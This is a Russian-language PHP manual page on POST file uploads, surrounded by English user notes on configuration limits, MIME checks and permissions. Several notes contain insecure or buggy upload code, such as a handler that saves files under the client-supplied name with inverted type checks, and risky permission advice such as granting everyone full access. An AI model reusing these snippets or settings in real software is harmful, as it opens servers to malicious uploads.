  • Поддержка метода PUT
  • Смотрите также

User Contributed Notes

shubhamtakode at gmail dot com 07-Dec-2014 05:04
// code for handling simple http uploads

<?php
//properties of the uploaded file
$name= $_FILES["myfile"]["name"];
$type= $_FILES["myfile"]["type"];
$size= $_FILES["myfile"]["size"];
$temp= $_FILES["myfile"]["temp_name"];
$error= $_FILES["myfile"]["error"];

if ($error > 0)
    die("Error uploading file! code $error.");
else
   {
    if($type=="image/png" || $size > 2000000)//condition for the file
    {
    die("Format  not allowed or file size too big!");
    }
    else
    {
     move_uploaded_file($temp, "uploaded/" .$name);
     echo "Upload complete!";
     }
}

?>
CertaiN 29-Dec-2013 11:09
You'd better check $_FILES structure and values throughly.
The following code cannot cause any errors absolutely.

Example:
<?php

header('Content-Type: text/plain; CHARSET=Windows-1251');

try {

    // Undefined | Multiple Files | $_FILES Corruption Attack
    // If this request falls under any of them, treat it invalid.
    if (
        !isset($_FILES['upfile']['error']) ||
        is_array($_FILES['upfile']['error'])
    ) {
        throw new RuntimeException('Invalid parameters.');
    }

    // Check $_FILES['upfile']['error'] value.
    switch ($_FILES['upfile']['error']) {
        case UPLOAD_ERR_OK:
            break;
        case UPLOAD_ERR_NO_FILE:
            throw new RuntimeException('No file sent.');
        case UPLOAD_ERR_INI_SIZE:
        case UPLOAD_ERR_FORM_SIZE:
            throw new RuntimeException('Exceeded filesize limit.');
        default:
            throw new RuntimeException('Unknown errors.');
    }

    // You should also check filesize here.
    if ($_FILES['upfile']['size'] > 1000000) {
        throw new RuntimeException('Exceeded filesize limit.');
    }

    // DO NOT TRUST $_FILES['upfile']['mime'] VALUE !!
    // Check MIME Type by yourself.
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    if (false === $ext = array_search(
        $finfo->file($_FILES['upfile']['tmp_name']),
        array(
            'jpg' => 'image/jpeg',
            'png' => 'image/png',
            'gif' => 'image/gif',
        ),
        true
    )) {
        throw new RuntimeException('Invalid file format.');
    }

    // You should name it uniquely.
    // DO NOT USE $_FILES['upfile']['name'] WITHOUT ANY VALIDATION !!
    // On this example, obtain safe unique name from its binary data.
    if (!move_uploaded_file(
        $_FILES['upfile']['tmp_name'],
        sprintf('./uploads/%s.%s',
            sha1_file($_FILES['upfile']['tmp_name']),
            $ext
        )
    )) {
        throw new RuntimeException('Failed to move uploaded file.');
    }

    echo 'File is uploaded successfully.';

} catch (RuntimeException $e) {

    echo $e->getMessage();

}

?>
jan at lanteraudio dot nl 25-Feb-2013 01:31
Also stumbled on the max_file_size problem, in particular getting no response, no error whatsoever when uploading a file bigger than the set upload_max_filesize.

I found that it's not the upload_max_filesize setting, but instead the post_max_size setting causing this no response issue. So if you set post_max_size way larger than upload_max_filesize, at least you are likely to get an error response when filesize exceeds upload_max_filesize but is still within the limits of post_max_size.

Hope this helps anyone.
Thomas 22-Jul-2012 06:08
MIME type can be faked.

VVV

$_FILES['userfile']['type']

The mime type of the file, if the browser provided this information. An example would be "image/gif". This mime type is however not checked on the PHP side and therefore don't take its value for granted.

http://www.php.net/manual/en/features.file-upload.post-method.php

[Editor's note: removed a reference to a deleted note, and edited the note to make sense by itself.]
xmontero at dsitelecom dot com 06-Feb-2012 10:23
If "large files" (ie: 50 or 100 MB) fail, check this:

It may happen that your outgoing connection to the server is slow, and it may timeout not the "execution time" but the "input time", which for example in our system defaulted to 60s. In our case a large upload could take 1 or 2 hours.

Additionally we had "session settings" that should be preserved after upload.

1) You might want review those ini entries:

* session.gc_maxlifetime
* max_input_time
* max_execution_time
* upload_max_filesize
* post_max_size

2) Still fails? Caution, not all are changeable from the script itself. ini_set() might fail to override.

More info here:
http://www.php.net/manual/es/ini.list.php

You can see that the "upload_max_filesize", among others, is PHP_INI_PERDIR and not PHP_INI_ALL. This invalidates to use ini_set():
http://www.php.net/manual/en/configuration.changes.modes.php

Use .htaccess instead.

3) Still fails?. Just make sure you enabled ".htaccess" to overwrite your php settings. This is made in the apache file. You need at least AllowOverride Options.

See this here:
http://www.php.net/manual/en/configuration.changes.php

You will necessarily allow this manually in the case your master files come with AllowOverride None.

Conclussion:

Depending on the system, to allow "large file uploads" you must go up and up and up and touch your config necessarily up to the apache config.

Sample files:

These work for me, for 100MB uploads, lasting 2 hours:

In apache-virtual-host:
-----------------------------------------------------------
<Directory /var/www/MyProgram>
    AllowOverride Options
</Directory>
-----------------------------------------------------------

In .htaccess:
-----------------------------------------------------------
php_value session.gc_maxlifetime 10800
php_value max_input_time         10800
php_value max_execution_time     10800
php_value upload_max_filesize    110M
php_value post_max_size          120M
-----------------------------------------------------------

In the example,
- As I last 1 to 2 hours, I allow 3 hours (3600x3)
- As I need 100MB, I allow air above for the file (110M) and a bit more for the whole post (120M).
Phil Ciebiera 17-Sep-2009 01:54
On a Microsoft platform utilizing IIS, you may run into a situation where, upon moving the uploaded file, anonymous web users can't access the content without being prompted to authenticate first...

The reason for this is, the uploaded file will inherit the permissions of the directory specified in the directive upload_tmp_dir of php.ini.  If this directive isn't set, the default of C:\Windows\Temp is used.

You can work around this by granting the IUSR_[server name] user read access to your temporary upload directory, so that after you move_uploaded_file the permissions will already be set properly.

It's also a good idea to set the Execute Permissions of the upload directory to NOT include Executables, for security reasons.
To accomplish this:
-Open the IIS Manager
-Browse to the relevant sites directory where the uploads will be placed
-Right Click the folder and select Properties
-In the Directory tab of the resulting dialog, set the Execute permissions to be None

This took me a while to figure out, so I hope this helps save some other peoples time.
info at levaravel dot com 30-Jan-2009 07:39
A little codesnippet which returns a filesize in a more legible format.

<?php

function display_filesize($filesize){

    if(is_numeric($filesize)){
    $decr = 1024; $step = 0;
    $prefix = array('Byte','KB','MB','GB','TB','PB');

    while(($filesize / $decr) > 0.9){
        $filesize = $filesize / $decr;
        $step++;
    }
    return round($filesize,2).' '.$prefix[$step];
    } else {

    return 'NaN';
    }

}

?>
damien from valex 04-Jan-2009 05:53
This is simpler method of checking for too much POST data (alternative to that by v3 from sonic-world.ru).

<?php
    if ($_SERVER['REQUEST_METHOD'] == 'POST' && empty($_POST) && $_SERVER['CONTENT_LENGTH'] > 0) {
        throw new Exception(sprintf('The server was unable to handle that much POST data (%s bytes) due to its current configuration', $_SERVER['CONTENT_LENGTH']));
    }
?>
rnagavel at yahoo dot com dot au 25-Nov-2008 01:10
If $_FILES is always empty, check the method of your form.
It should be POST. Default method of a form is GET.

<form action="myaction.php">
 <input type="file" name"userfile">
</form>
File will not be uploaded as default method of the form is GET.

<form action="myaction.php" method="POST">
 <input type="file" name"userfile">
</form>
Files will be uploaded and $_FILES will be populated.
jahajee 29-Apr-2008 04:27
hi , i was having difficulty with the upload_max_filesize , if u set the max file size lesser than the php setting then ur script to report error will only work till this difference between ur max set file size and the php set max size .Hence if the uploaded file exceeds the php max file size then php end abruptly without a trace of error that is it behaves like no file is uploaded and hence no error reported .Sure if uploading a file is optional for a form then a user who uploads larger file will get no error and still the form will be processed only without the file.
The method of using GET can't be used for optional uploads. Can't find help even in the bugs .Be careful with optional uploads.
jahajee
Rob 24-Apr-2008 01:07
You should not have any directories within your website root that has the permissions required for file upload.  If you are going to do a file upload, I recommend you use the PHP FTP Functions in conjunction with your file field, that way the files are transferred to a remote FTP location separate from your server.
ragtime at alice-dsl dot com 24-Sep-2007 08:55
I don't believe the myth that 'memory_size' should be the size of the uploaded file. The files are definitely not kept in memory... instead uploaded chunks of 1MB each are stored under /var/tmp and later on rebuild under /tmp before moving to the web/user space.

I'm running a linux-box with only 64MB RAM, setting the memory_limit to 16MB and uploading files of sizes about 100MB is no problem at all! Nevertheless, some users reported a problem at a few 100MB, but that's not confirmed... ;-)

The other sizes in php.ini are set to 1GB and the times to 300... maybe the execution_time limits before, since the CPU is just a 233MHz one... :-)

====

OK,... I got it... finally!

If some of you have also problems uploading large files but the usual sizes/times in php.ini are ok, please check

    session.gc_maxlifetime

when you are using session management with your upload script!

The default value is 1440 which is just 24min... so with only 600kbit/s upload rate the session will be closed automatically after uploading
about 100MB. Actually you are able to upload more, but the file won't be copied from the temporary to the destination folder... ;-)

You can set the value also directly inside the php-script via
<?php ini_set("session.gc_maxlifetime","10800"); ?>
svenr at selfhtml dot org 23-Apr-2007 03:13
Clarification on the MAX_FILE_SIZE hidden form field:

PHP has the somewhat strange feature of checking multiple "maximum file sizes".

The two widely known limits are the php.ini settings "post_max_size" and "upload_max_size", which in combination impose a hard limit on the maximum amount of data that can be received.

In addition to this PHP somehow got implemented a soft limit feature. It checks the existance of a form field names "max_file_size" (upper case is also OK), which should contain an integer with the maximum number of bytes allowed. If the uploaded file is bigger than the integer in this field, PHP disallows this upload and presents an error code in the $_FILES-Array.

The PHP documentation also makes (or made - see bug #40387 - http://bugs.php.net/bug.php?id=40387) vague references to "allows browsers to check the file size before uploading". This, however, is not true and has never been. Up til today there has never been a RFC proposing the usage of such named form field, nor has there been a browser actually checking its existance or content, or preventing anything. The PHP documentation implies that a browser may alert the user that his upload is too big - this is simply wrong.

Please note that using this PHP feature is not a good idea. A form field can easily be changed by the client. If you have to check the size of a file, do it conventionally within your script, using a script-defined integer, not an arbitrary number you got from the HTTP client (which always must be mistrusted from a security standpoint).
jedi_aka at yahoo dot com 18-Oct-2006 12:12
For those of you trying to make the upload work with IIS on windows XP/2000/XP Media and alike here is a quick todo.

1) Once you have created subdirectories "uploads/"  in the same directory wher you code is running use the code from oportocala above and to make absolutely sure sure that the file you are trying to right is written under that folder. ( I recomend printing it using echo $uploadfile; )

2) In windows explorer browse to the upload directory created above and share it. To do that execute the following substeps.
     a) Right click the folder click "sharing and security..."
     b) Check 'Share this folder on the network'
     c) Check 'Allow network users to change my files' ( THIS STEP IS VERY IMPORTANT )
     d) click 'ok' or 'apply'

3) you can then go in the IIS to set read and write permissions for it. To do that execute the followin substeps.
     a) Open IIS (Start/Controp Panel (classic View)/ Admistrative tools/Internet Information Service
     b) Browse to your folder (the one we created above)
     c) right click and select properties.
     d) in the Directory tab, make sure, READ, WRITE, AND DIRECTORY BROWSING are checked.
     e) For the security freaks out there, You should also make sure that 'execute permissions:' are set to Script only or lower (DO NOT SET IT TO 'script and executable)'( that is because someone could upload a script to your directory and run it. And, boy, you do not want that to happen).

there U go.

Send me feed back it if worked for you or not so that I can update the todo.

jedi_aka@yahoo.com

PS: BIG thanks to oportocala
david at cygnet dot be 12-May-2006 05:14
If you are experiencing problems posting files from Internet Explorer to a PHP script over an SSL connection, for instance "Page can not be displayed" or empty $_FILES and $_POST arrays (described by jason 10-Jan-2006 02:08), then check out this microsoft knowledgebase article:

http://support.microsoft.com/?kbid=889334

This knowledgebase article explains how since service pack 2 there may be problems posting from IE over SSL. It is worth checking whether your problem is IE specific since this is definitely not a PHP problem!
geert dot php at myrosoft dot com 23-Dec-2005 12:16
When file names do contain single quote parts of the filename are being lost.
eg.: uploading a filename
      startName 'middlepart' endName.txt
will be uploaded (and hence stored in the _Files ['userfile'] variable as
      endName.txt
skipping everything before the second single quote.
djot at hotmail dot com 27-Nov-2005 02:02
-
Be carefull with setting max_file_size via
<?php ini_get('upload_max_filesize'); ?>

ini_get might return values like "2M" which will result in non working uploads.

This was the "no no" in my case:

<?php
$form = '<input type="hidden" name="MAX_FILE_SIZE" value=".ini_get('upload_max_filesize')." />';
?>

Files were uploaded to the server, but than there was not any upload information, not even an error message. $_FILES was completly empty.

djot
-
mariodivece at bytedive dot com 24-Aug-2005 11:33
Just wanted to point out a detail that might be of interest to some:

when using base64_encode to store binary data in a database, you are increasing the size of the data by 1.33 times. There is a nicer way of storing the data directly. Try the following:

<?php $data = mysql_real_escape_string($data); ?>

This will leave the data untouched and formatted in the correct way and ready to be inserted right into a MySQL statement without wasting space.

By the way, I'd like to thank therebechips for his excellent advice on data chunks.
warwickbarnes at yahoo dot co dot uk 18-Aug-2005 04:58
You may come across the following problem using PHP on Microsoft IIS: getting permission denied errors from the move_uploaded_file function even when all the folder permissions seem correct. I had to set the following to get it to work:

1. Write permissions on the the folder through the IIS management console.
2. Write permissions to IUSR_'server' in the folder's security settings.
3. Write permissions to "Domain Users" in the folder's security settings.

The third setting was required because my application itself lives in a secure folder - using authentication (either Basic or Windows Integrated) to identify the users. When the uploads happen IIS seems to be checking that these users have write access to the folder, not just whether the web server (IUSR_'server') has access.

Also, remember to set "Execute Permissions" to "None" in the IIS management console, so that people can't upload a script file and then run it. (Other checks of the uploaded file are recommended as well but 'Execute None' is a good start.)
myko AT blue needle DOT com 16-Aug-2005 09:13
Just a quick note that there's an issue with Apache, the MAX_FILE_SIZE hidden form field, and zlib.output_compression = On.  Seems that the browser continues to post up the entire file, even though PHP throws the MAX_FILE_SIZE error properly.  Turning zlib compression to OFF seems to solve the issue.  Don't have time to dig in and see who's at fault, but wanted to save others the hassle of banging their head on this one.
keith at phpdiary dot org 24-May-2005 04:14
Caution: *DO NOT* trust $_FILES['userfile']['type'] to verify the uploaded filetype; if you do so your server could be compromised.  I'll show you why below:

The manual (if you scroll above) states: $_FILES['userfile']['type'] -  The mime type of the file, if the browser provided this information. An example would be "image/gif".

Be reminded that this mime type can easily be faked as PHP doesn't go very far in verifying whether it really is what the end user reported!

So, someone could upload a nasty .php script as an "image/gif" and execute the url to the "image".

My best bet would be for you to check the extension of the file and using exif_imagetype() to check for valid images.  Many people have suggested the use of getimagesize() which returns an array if the file is indeed an image and false otherwise, but exif_imagetype() is much faster. (the manual says it so)
ceo at l-i-e dot com 19-May-2005 08:25
Using /var/www/uploads in the example code is just criminal, imnsho.

One should *NOT* upload untrusted files into your web tree, on any server.

Nor should any directory within your web tree have permissions sufficient for an upload to succeed, on a shared server. Any other user on that shared server could write a PHP script to dump anything they want in there!

The $_FILES['userfile']['type'] is essentially USELESS.
A. Browsers aren't consistent in their mime-types, so you'll never catch all the possible combinations of types for any given file format.
B. It can be forged, so it's crappy security anyway.

One's code should INSPECT the actual file to see if it looks kosher.

For example, images can quickly and easily be run through imagegetsize and you at least know the first N bytes LOOK like an image.  That doesn't guarantee it's a valid image, but it makes it much less likely to be a workable security breaching file.

For Un*x based servers, one could use exec and 'file' command to see if the Operating System thinks the internal contents seem consistent with the data type you expect.

I've had trouble in the past with reading the '/tmp' file in a file upload.  It would be nice if PHP let me read that file BEFORE I tried to move_uploaded_file on it, but PHP won't, presumably under the assumption that I'd be doing something dangerous to read an untrusted file.  Fine.   One should move the uploaded file to some staging directory.  Then you check out its contents as thoroughly as you can.  THEN, if it seems kosher, move it into a directory outside your web tree.  Any access to that file should be through a PHP script which reads the file.  Putting it into your web tree, even with all the checks you can think of, is just too dangerous, imnsho.

There are more than a few User Contributed notes here with naive (bad) advice.  Be wary.
robpet at tds dot net 02-Apr-2005 10:35
People have remarked that incorrect permissions on the upload directory may prevent photos or other files from uploading.  Setting the Apache owner of the directory incorrectly will also prevent files from uploading -- I use a PHP script that creates a directory (if it doesn't exist already) before placing an uploaded file into it.  When the script creates the directory and then copies the uploaded file into the directory there is no problem because the owner of the file is whatever Apache is running as, typically "nobody". However, lets say that I've moved the site to a new server and have copied over existing file directories using FTP.  In this case the owner will have a different name from the Apache owner and files will not upload. The solution is to TelNet into the site and reset the owner to "nobody" or whatever Apache is running as using the CHOWN command.
Leevi at izilla dot com dot au 08-Feb-2005 10:52
This may help a newbie to file uploads.. it took advice from a friend to fix it..

If you are using
-windows xp
-iis 5
-php 5

If you keep getting permission errors on file uploads... and you have sworn you set the permissions to write to the directory in iis...

double check that
a) in windows explorer under tools > folder options
click the view tab
scroll down all the way to "use simple file sharing (recommended)"
uncheck this box

b) find the folder you wish to upload to on your server
c) click properties and then the security tab
d) make sure the appropriate write settings are checked.

you may want to test by setting "everyone" to have full permission....

BEWARE doing this will open up big security holes on your server....

hope this helps

Leevi Graham
Tyfud 07-Jan-2005 08:44
It's important to note that when using the move_uploaded_file() command, that some configurations (Especially IIS) will fail if you prefix the destination path with a leading "/". Try the following:

<?php move_uploaded_file($tmpFileName,'uploads/'.$fileName); ?>

Setting up permissions is also a must. Make sure all accounts have write access to your upload directory, and read access if you wish to view these files later. You might have to chmod() the directory or file afterwards as well if you're still getting access errors.
therhinoman at hotmail dot com 27-Aug-2004 01:20
If your upload script is meant only for uploading images, you can use the image function getimagesize() (does not require the GD image library) to make sure you're really getting an image and also filter image types.

<?php getimagesize($file); ?>

...will return false if the file is not an image or is not accessable, otherwise it will return an array...

<?php
$file = 'somefile.jpg';

# assuming you've already taken some other
# preventive measures such as checking file
# extensions...

$result_array = getimagesize($file);

if ($result_array !== false) {
    $mime_type = $result_array['mime'];
    switch($mime_type) {
        case "image/jpeg":
            echo "file is jpeg type";
            break;
        case "image/gif":
            echo "file is gif type";
            break;
        default:
            echo "file is an image, but not of gif or jpeg type";
    }
} else {
    echo "file is not a valid image file";
}
?>

using this function along with others mentioned on this page, image ploading can be made pretty much fool-proof.

See http://php.net/manual/en/function.getimagesize.php for supported image types and more info.
olijon, iceland 18-Jun-2004 08:24
When uploading large images, I got a "Document contains no data" error when using Netscape and an error page when using Explorer. My server setup is RH Linux 9, Apache 2 and PHP 4.3.

I found out that the following entry in the httpd.conf file was missing:

<Files *.php>
  SetOutputFilter PHP
  SetInputFilter PHP
  LimitRequestBody 524288 (max size in bytes)
</Files>

When this had been added, everything worked smoothly.

- Oli Jon, Iceland
steve dot criddle at crd-sector dot com 16-Apr-2004 11:43
IE on the Mac is a bit troublesome.  If you are uploading a file with an unknown file suffix, IE uploads the file with a mime type of "application/x-macbinary".  The resulting file includes the resource fork wrapped around the file.  Not terribly useful.

The following code assumes that the mime type is in $type, and that you have loaded the file's contents into $content.  If the file is in MacBinary format, it delves into the resource fork header, gets the length of the data fork (bytes 83-86) and uses that to get rid of the resource fork.

(There is probably a better way to do it, but this solved my problem):

<?php
if ($type == 'application/x-macbinary') {
    if (strlen($content) < 128) die('File too small');
    $length = 0;
    for ($i=83; $i<=86; $i++) {
        $length = ($length * 256) + ord(substr($content,$i,1));
          }
    $content = substr($content,128,$length);
}
?>
~caetin~ ( at ) ~hotpop~ ( dot ) ~com~ 10-Feb-2004 08:37
From the manual:

     If no file is selected for upload in your form, PHP will return $_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name'] as none.

As of PHP 4.2.0, the "none" is no longer a reliable determinant of no file uploaded. It's documented if you click on the "error codes" link, but you need to look at the $_FILES['your_file']['error']. If it's 4, then no file was selected.
maya_gomez ~ at ~ mail ~ dot ~ ru 06-Feb-2004 05:20
when you upload the file, $_FILES['file']['name'] contains its original name converted into server's default charset.
if a name contain characters that aren't present in default charset, the conversion fails and the $_FILES['file']['name'] remains in original charset.

i've got this behavior when uploading from a windows-1251 environment into koi8-r. if a filename has the number sign "?" (0xb9), it DOES NOT GET CONVERTED as soon as there is no such character in koi8-r.

Workaround i use:

<?php
if (strstr ($_FILES['file']['name'], chr(0xb9)) != "")
{
    $_FILES['file']['name'] = iconv (
        "windows-1251",
        "koi8-r",
        str_replace (chr(0xb9), "N.", $_FILES['file']['name']));
};
?>
garyds at miraclemedia dot ca 15-Mar-2003 06:12
As it has been mentioned, Windows-based servers have trouble with the path to move the uploaded file to when using move_uploaded_file()... this may also be the reason copy() works and not move_uploaded_file(), but of course move_uploaded_file() is a much better method to use. The solution in the aforementioned note said you must use "\\" in the path, but I found "/" works as well. So to get a working path, I used something to the effect of:

"g:/rootdir/default/www/".$_FILES['userfile']['name']

...which worked like a charm.

I am using PHP 4.3.0 on a win2k server.

Hope this helps!
am at netactor dot NO_SPAN dot com 14-Mar-2002 10:20
Your binary files may be uploaded incorrectly if you use modules what recode characters. For example, for Russian Apache, you should use
<Files ScriptThatReceivesUploads.php>
CharsetDisable On
</Files>


Загрузка файлов методом POST

Данная возможность позволяет загружать как текстовые, так и бинарные файлы. С помощью PHP-функций аутентификации и работы с файлами вы имеете полный контроль над тем, кому разрешено загружать файлы и что делать с файлом после его загрузки.

PHP способен получать загруженные файлы из любого браузера, совместимого со стандартом RFC-1867.

Замечание: Смежные замечания по конфигурации

Также ознакомьтесь с описанием директив file_uploads, upload_max_filesize, upload_tmp_dir, post_max_size и max_input_time конфигурационного файла php.ini

Также следует заметить, что PHP поддерживает загрузку файлов методом PUT, который используется в клиентах Netscape Composer и W3C Amaya. Для получения более детальной документации обратитесь к разделу поддержка метода PUT.

Пример #1 Форма для загрузки файлов

Страница для загрузки файлов может быть реализована при помощи специальной формы, которая выглядит примерно так:

<!-- Тип кодирования данных, enctype, ДОЛЖЕН БЫТЬ указан ИМЕННО так -->
<form enctype="multipart/form-data" action="__URL__" method="POST">
    <!-- Поле MAX_FILE_SIZE должно быть указано до поля загрузки файла -->
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    <!-- Название элемента input определяет имя в массиве $_FILES -->
    Отправить этот файл: <input name="userfile" type="file" />
    <input type="submit" value="Отправить файл" />
</form>

В приведённом выше примере __URL__ необходимо заменить ссылкой на PHP-скрипт.

Скрытое поле MAX_FILE_SIZE (значение необходимо указывать в байтах) должно предшествовать полю для выбора файла, и его значение является максимально допустимым размером принимаемого файла в PHP. Рекомендуется всегда использовать эту переменную, так как она предотвращает тревожное ожидание пользователей при передаче огромных файлов, только для того, чтобы узнать, что файл слишком большой и передача фактически не состоялась. Имейте в виду, что обойти это ограничение на стороне браузера достаточно просто, следовательно, вы не должны полагаться на то, что все файлы большего размера будут блокированы при помощи этой возможности. Это по большей части удобная возможность для пользователей клиентской части вашего приложения. Однако настройки PHP (на сервере) касательно максимального размера обойти невозможно.

Замечание:

Также следует убедиться, что форма загрузки имеет атрибут enctype="multipart/form-data", в противном случае загрузка файлов на сервер не произойдёт.

Глобальный массив $_FILES содержит всю информацию о загруженных файлах. Его содержимое для нашего примера приводится ниже. Обратите внимание, что здесь предполагается использование имени userfile для поля выбора файла, как и в приведённом выше примере. На самом деле имя поля может быть любым.

$_FILES['userfile']['name']

Оригинальное имя файла на компьютере клиента.

$_FILES['userfile']['type']

Mime-тип файла, в случае, если браузер предоставил такую информацию. В качестве примера можно привести "image/gif". Этот mime-тип не проверяется на стороне PHP, так что не полагайтесь на его значение без проверки.

$_FILES['userfile']['size']

Размер в байтах принятого файла.

$_FILES['userfile']['tmp_name']

Временное имя, с которым принятый файл был сохранён на сервере.

$_FILES['userfile']['error']

Код ошибки, которая может возникнуть при загрузке файла.

$_FILES['userfile']['full_path']

Полный путь, представленный браузером. Это значение не всегда содержит реальную структуру каталогов и ему нельзя доверять. Доступно, начиная с PHP 8.1.0.

По умолчанию принятые файлы сохраняются на сервере в стандартной временной папке до тех пор, пока не будет задана другая директория при помощи директивы upload_tmp_dir конфигурационного файла php.ini. Директорию сервера по умолчанию можно сменить, установив переменную TMPDIR для окружения, в котором выполняется PHP. Установка этой переменной при помощи функции putenv() внутри PHP-скрипта работать не будет. Эта переменная окружения также может использоваться для того, чтобы удостовериться, что другие операции также работают с принятыми файлами.

Пример #2 Проверка загружаемых на сервер файлов

Для получения более детальной информации вы можете ознакомиться с описанием функций is_uploaded_file() и move_uploaded_file(). Следующий пример принимает и обрабатывает загруженный при помощи формы файл.

<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

echo '<pre>';
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "Файл корректен и был успешно загружен.\n";
} else {
echo "Возможная атака с помощью файловой загрузки!\n";
}

echo 'Некоторая отладочная информация:';
print_r($_FILES);

print "</pre>";

?>

PHP-скрипт, принимающий загруженный файл, должен реализовывать логику, необходимую для определения дальнейших действий над принятым файлом. Например, вы можете проверить переменную $_FILES['userfile']['size'], чтобы отсечь слишком большие или слишком маленькие файлы. Также вы можете использовать переменную $_FILES['userfile']['type'] для исключения файлов, которые не удовлетворяют критерию касательно типа файла, однако, принимайте во внимание, что это поле полностью контролируется клиентом, используйте его только в качестве первой из серии проверок. Также вы можете использовать $_FILES['userfile']['error'] и коды ошибок при реализации вашей логики. Независимо от того, какую модель поведения вы выбрали, вы должны удалить файл из временной папки или переместить его в другую директорию.

В случае, если при отправке формы файл выбран не был, PHP установит переменную $_FILES['userfile']['size'] значением 0, а переменную $_FILES['userfile']['tmp_name'] - none.

По окончанию работы скрипта, если загруженный файл не был переименован или перемещён, он будет автоматически удалён из временной папки.

Пример #3 Загрузка массива файлов

PHP поддерживает возможность передачи массива из HTML в том числе и с файлами.

<form action="" method="post" enctype="multipart/form-data">
<p>Изображения:
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="submit" value="Отправить" />
</p>
</form>
<?php
foreach ($_FILES["pictures"]["error"] as $key => $error) {
if ($error == UPLOAD_ERR_OK) {
$tmp_name = $_FILES["pictures"]["tmp_name"][$key];
// basename() может спасти от атак на файловую систему;
// может понадобиться дополнительная проверка/очистка имени файла
$name = basename($_FILES["pictures"]["name"][$key]);
move_uploaded_file($tmp_name, "data/$name");
}
}
?>

Полоса прогресса загрузки файлов может быть реализована с помощью "отслеживания прогресса загрузки файлов с помощью сессий".

User Contributed Notes

fravadona at gmail dot com 11-Apr-2020 11:13
mpyw is right, PSR-7 is awesome but a little overkill for simple projects (in my opinion).

Here's an example of function that returns the file upload metadata in a (PSR-7 *like*) normalized tree. This function deals with whatever dimension of upload metadata.

I kept the code extremely simple, it doesn't validate anything in $_FILES, etc... AND MOST IMPORTANTLY, it calls array_walk_recursive in an *undefined behaviour* way!!!

You can test it against the examples of the PSR-7 spec ( https://www.php-fig.org/psr/psr-7/#16-uploaded-files ) and try to add your own checks that will detect the error in the last example ^^

<?php
/**
 *  THIS CODE IS ABSOLUTELY NOT MEANT FOR PRODUCTION !!! MAY ITS INSIGHTS HELP YOU !!!
 */
function getNormalizedFiles()
{
  $normalized = array();

  if ( isset($_FILES) ) {

    foreach ( $_FILES as $field => $metadata ) {

      $normalized[$field] = array(); // needs initialization for array_replace_recursive

      foreach ( $metadata as $meta => $data ) { // $meta is 'tmp_name', 'error', etc...

        if ( is_array($data) ) {

          // insert the current meta just before each leaf !!! WRONG USE OF ARRAY_WALK_RECURSIVE !!!
          array_walk_recursive($data, function (&$v,$k) use ($meta) { $v = array( $meta => $v ); });

          // fuse the current metadata with the previous ones
          $normalized[$field] = array_replace_recursive($normalized[$field], $data);

        } else {
          $normalized[$field][$meta] = $data;
        }
      }
    }
  }
  return $normalized;
}
?>
katrinaelaine6 at gmail dot com 06-Nov-2017 06:16
Here's a complete example of the $_FILES array with nested and non-nested names. Let's say we have this html form:

<form action="test.php" method="post">

    <input type="file" name="single" id="single">

    <input type="file" name="nested[]"          id="nested_one">
    <input type="file" name="nested[root]"      id="nested_root">
    <input type="file" name="nested[][]"        id="nested_two">
    <input type="file" name="nested[][parent]"  id="nested_parent">
    <input type="file" name="nested[][][]"      id="nested_three">
    <input type="file" name="nested[][][child]" id="nested_child">

    <input type="submit" value="Submit">

</form>

In the test.php file:

<?php

    print_r($_FILES);
    exit;

?>

If we upload a text file with the same name as the input id for each input and click submit, test.php will output this:

<?php

Array
(

    [single] => Array
        (
            [name] => single.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpApO28i
            [error] => 0
            [size] => 3441
        )

    [nested] => Array
        (
            [name] => Array
                (
                    [0] => nested_one.txt
                    [root] => nested_root.txt
                    [1] => Array
                        (
                            [0] => nested_two.txt
                        )

                    [2] => Array
                        (
                            [parent] => nested_parent.txt
                        )

                    [3] => Array
                        (
                            [0] => Array
                                (
                                    [0] => nested_three.txt
                                )

                        )

                    [4] => Array
                        (
                            [0] => Array
                                (
                                    [child] => nested_child.txt
                                )

                        )

                )

            // type, tmp_name, size, and error will have the same structure.
        )

)

?>
Anonymous 21-Feb-2017 10:56
I have found it useful to re-order the multidimensional $_FILES array into a more intuitive format, as proposed by many other developers already.

Unfortunately, most of the proposed functions are not able to re-order the $_FILES array when it has more than 1 additional dimension.

Therefore, I would like to contribute the function below, which is capable of meeting the aforementioned requirement:

<?php
    function get_fixed_files() {
        $function = function($files, $fixed_files = array(), $path = array()) use (&$function) {
            foreach ($files as $key => $value) {
                $temp = $path;
                $temp[] = $key;

                if (is_array($value)) {
                    $fixed_files = $function($value, $fixed_files, $temp);
                } else {
                    $next = array_splice($temp, 1, 1);
                    $temp = array_merge($temp, $next);

                    $new = &$fixed_files;

                    foreach ($temp as $key) {
                        $new = &$new[$key];
                    }

                    $new = $value;
                }
            }

            return $fixed_files;
        };

        return $function($_FILES);
    }
?>

Side note: the unnamed function within the function is used to avoid confusion regarding the arguments necessary for the recursion within the function, for example when viewing the function in an IDE.
mpyw 24-Jul-2016 06:44
Do not use Coreywelch or Daevid's way, because their methods can handle only within two-dimensional structure. $_FILES can consist of any hierarchy, such as 3d or 4d structure.

The following example form breaks their codes:

<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="files[x][y][z]">
    <input type="submit">
</form>

As the solution, you should use PSR-7 based zendframework/zend-diactoros.

GitHub:

https://github.com/zendframework/zend-diactoros

Example:

<?php

use Psr\Http\Message\UploadedFileInterface;
use Zend\Diactoros\ServerRequestFactory;

$request = ServerRequestFactory::fromGlobals();

if ($request->getMethod() !== 'POST') {
    http_response_code(405);
    exit('Use POST method.');
}

$uploaded_files = $request->getUploadedFiles();

if (
    !isset($uploaded_files['files']['x']['y']['z']) ||
    !$uploaded_files['files']['x']['y']['z'] instanceof UploadedFileInterface
) {
    http_response_code(400);
    exit('Invalid request body.');
}

$file = $uploaded_files['files']['x']['y']['z'];

if ($file->getError() !== UPLOAD_ERR_OK) {
    http_response_code(400);
    exit('File uploading failed.');
}

$file->moveTo('/path/to/new/file');

?>
coreywelch+phpnet at gmail dot com 17-Feb-2016 10:29
The documentation doesn't have any details about how the HTML array feature formats the $_FILES array.

Example $_FILES array:

For single file -

Array
(
    [document] => Array
        (
            [name] => sample-file.doc
